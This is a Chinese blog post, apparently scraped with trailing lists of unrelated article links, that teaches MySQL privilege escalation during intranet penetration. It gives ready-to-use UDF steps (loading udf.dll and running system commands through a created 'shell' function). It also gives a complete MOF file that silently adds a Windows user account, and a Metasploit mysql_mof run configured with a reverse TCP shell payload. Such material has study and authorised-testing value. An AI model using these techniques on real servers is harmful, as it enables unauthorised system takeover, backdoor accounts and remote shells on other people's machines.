利用MySQL提权原理:

1、具有mysql的root权限,且mysql以system权限运行。

2、具有执行sql语句的权限,webshell或者外连皆可

UDF提权

UDF(user defined function 用户自定义函数)提权,要求有写权限(secure_file_priv要么为空,要么设置路径),单引号未被过滤

原理:

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)要想利用udf,必须上传udf.dll作为udf的执行库。

mysql中支持UDF扩展,使得我们可以凋用DLL里面的函数来实现一些特殊的功能。

0X01 MySQL信息收集

在拿到数据库账号密码后,查看用户权限,本地路径,版本信息

select user();
select @@basedir;
select version();select @@plugin_dir ; #查询到MySQL的plugin位置# mysql版本<5.1,UDF导出到系统目录C:/windows/system32/ 如Windows2003放到c:\windows\system32# mysql版本>5.1,UDF导出到安装路径:Windows在MySQL\Lib\Plugin\(Plugin默认不存在,需自建) Linux则在/usr/lib/mysql/plugin下


show global variables like '%secure%';# mysql版本<5.5.53 , secure_file_priv 默认为空# mysql版本>=5.5.53 ,secure_file_priv 默认为null

0X02  创建函数

将udf.dll脚本上传至指定目录后执行命令

CREATE FUNCTION shell RETURNS string SONAME 'udf.dll'; # 创建函数 SELECT shell('cmd','whoami'); #执行命令

脚本链接 https://github.com/f1tz/UDF

Linux与Windows操作相似,具体操作参考上图,注意文件类型不是dll,而是so

如果遇到Function sys_eval already exists问题,执行以下语句

DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS shell;
DROP FUNCTION IF EXISTS cmd;
select * from mysql.plugin;
delete from mysql.plugin;

mof(托管对象)提权

提权原理:

mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysq的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof文件通过Mofcomp.exe编译执行。

仅适用于Windows

流程:
1、首先找个可写的目录,将我们的MOF文件上传上去。

连接菜刀,上传两个mof文件Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/

select load_file(C:/wmpub/nullevt.mof) into dumpfile 'c:/windows/system32/wbem/mof/nulevt.mof'

2、mofcomp.exe xxx.mof 执行mof文件

虚拟终端进入此目录下,执行命令:mofcomp.exe Adduser.mof 等待数秒后net user 查看用户是否添加成功,再执行mofcomp.exe Addtoadmin.mof 等待数秒后 net user 用户名 查看是否添加到administrators组中

添加用户的mof文件代码                 
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;   #修改这里进行账户密码和组的修改
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

利用mof通过msf获得cmdshell

use exploit/windows/mysql/mysql_mof  #选取模块

options   #查看所需配置参数

set username  xxx

set password  xxx

set rhost  xxx.xxx.xxx.xxx

set payload windows/shell_reverse_tcp     #选择payload

options

set lhost xxxx

set lport xxx

exploit       #执行

内网学习之MySQL服务提权的更多相关文章

  1. mysql udf提权实战测试

    根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...

  2. Nginx代理实现内网主机访问公网服务

    通过Nginx代理实现内网主机访问公网和接口服务 1.需求: m2.test.com为公司测试环境的微信测试域名,因为要调用微信服务接口需要访问外网,现通过Nginx代理现实此功能. 2.环境如下: ...

  3. 内网探测之SPN服务扫描及相关利用

    在写下一个大块之前,补充一些小知识点,也没啥新东西 0x01简介 如果常规扫描服务,结果不理想,非常GG,可以考虑使用SPN进行服务扫描,这是为了借助Kerberos的正常查询行为(向域控发起LDAP ...

  4. MySQL UDF提权执行系统命令

    目录 UDF UDF提权步骤 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的功能进行扩充,其实就像使用 ...

  5. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  6. centos 内网ip访问mysql数据库

    参考博文: CentOS 配置mysql允许远程登录 Centos6.5 双网卡配置一个上外网一个接局域网  这个博文仅作参考 公司租用景安的服务器,给景安沟通配置内网. [root@bogon ng ...

  7. 通过ssh管道连接内网数据库(mysql)

    公网连接内网数据库(如云数据库)时,通常需要白名单:如果不是白名单IP,通常需要一个跳板机(类似代理)来连接内网数据库, 下方以mysql为例(其他数据库基本一致): import pymysql a ...

  8. mysql UDF提权问题

    测试UDF提权,时候遇到问题,创建函数shell提示存在 当执行操作的时候又提示,shell函数不存在. FUNCTION mysql.shell does not exist 如果在测试环境下,一般 ...

  9. 内网学习之Kerberos协议

    学习了解kerberos协议,有助于我们后期理解黄金票据和白银票据的原理 kerberos协议 kerberos是一种由麻省理工大学提出的一种网络身份验证协议.旨在通过使用密钥加密技术为客户端/服务器 ...

随机推荐

  1. CSS中的定位体系

    一.概述     1.什么是定位体系     视觉格式化模型规定,定位体系共有三种             a.常规流(normal flow)             b.浮动(float)     ...

  2. mvc jQuery 点击按钮实现导出Excel功能 参数长短不限

    var exportSubmit=function(url, obj){ var form = $("<form>"); //定义一个form表单 form.attr( ...

  3. NanUI | NanUI 0.7 正式发布

    2020年2月10日 NanUI 0.7版正式发布. 回顾过去的一年,浑浑噩噩.生活上.工作上太多的压力和变数让我身心疲惫,目睹亲人被病痛的摧残的痛苦,无法释怀的生死别离令我沉沦许久:公司业务的变动, ...

  4. Django自动化测试平台项目案例

    引言 在项目组待了近半年时间,根据自己的感受和体验,做了一个辅助测试的工具(数据预报平台),主要目的是针对目前项目接口文档缺失,自动化预报脚本无法可视化,资源循环利用,统一管理化. 业务背景 我们项目 ...

  5. ATL的GUI程序设计(前言)

    前言 也许,你是一个顽固的SDK簇拥者: 也许,你对MFC抱着无比排斥的态度,甚至像我一样对它几乎一无所知: 也许,你符合上面两条,而且正在寻求着一种出路: 也许,你找到了一条出路--WTL,但是仍然 ...

  6. GitHub注册与Git安装

    注册GitHub GitHub官网 ☞☞☞☞[戳我] 一.打开,如下图所示, 按照要求进行注册. 安装Git Git官网下载☞☞☞☞ [戳我] 一.打开,根据自己的电脑系统选择不同的版本,这里主要是以 ...

  7. 【搞定面试官】- Synchronized如何实现同步?锁优化?(1)

    前言 说起Java面试中最高频的知识点非多线程莫属.每每提起多线程都绕不过一个Java关键字--synchronized.我们都知道该关键字可以保证在同一时刻,只有一个线程可以执行某个方法或者某个代码 ...

  8. [python之路]简单介绍

    python介绍 #python是一个什么样的语言?编译型和解释型静态语言和动态语言强类型定义语言和弱类型定义语言python是一门动态解释性的强类型定义语言. #Python的优缺点##优点Pyth ...

  9. 2019牛客多校2 F Partition problem(dfs)

    题意: n<=28个人,分成人数相同的两组,给你2*n*2*n的矩阵,如果(i,j)在不同的组里,竞争力增加v[i][j],问你怎么分配竞争力最 4s 思路: 枚举C(28,14)的状态,更新答 ...

  10. SpringBoot之ApplicationRunner接口和@Order注解

    我们在开发中可能会有这样的情景.需要在容器启动的时候执行一些内容.比如读取配置文件,数据库连接之类的.SpringBoot给我们提供了ApplicationRunner接口来帮助我们实现这种需求.该接 ...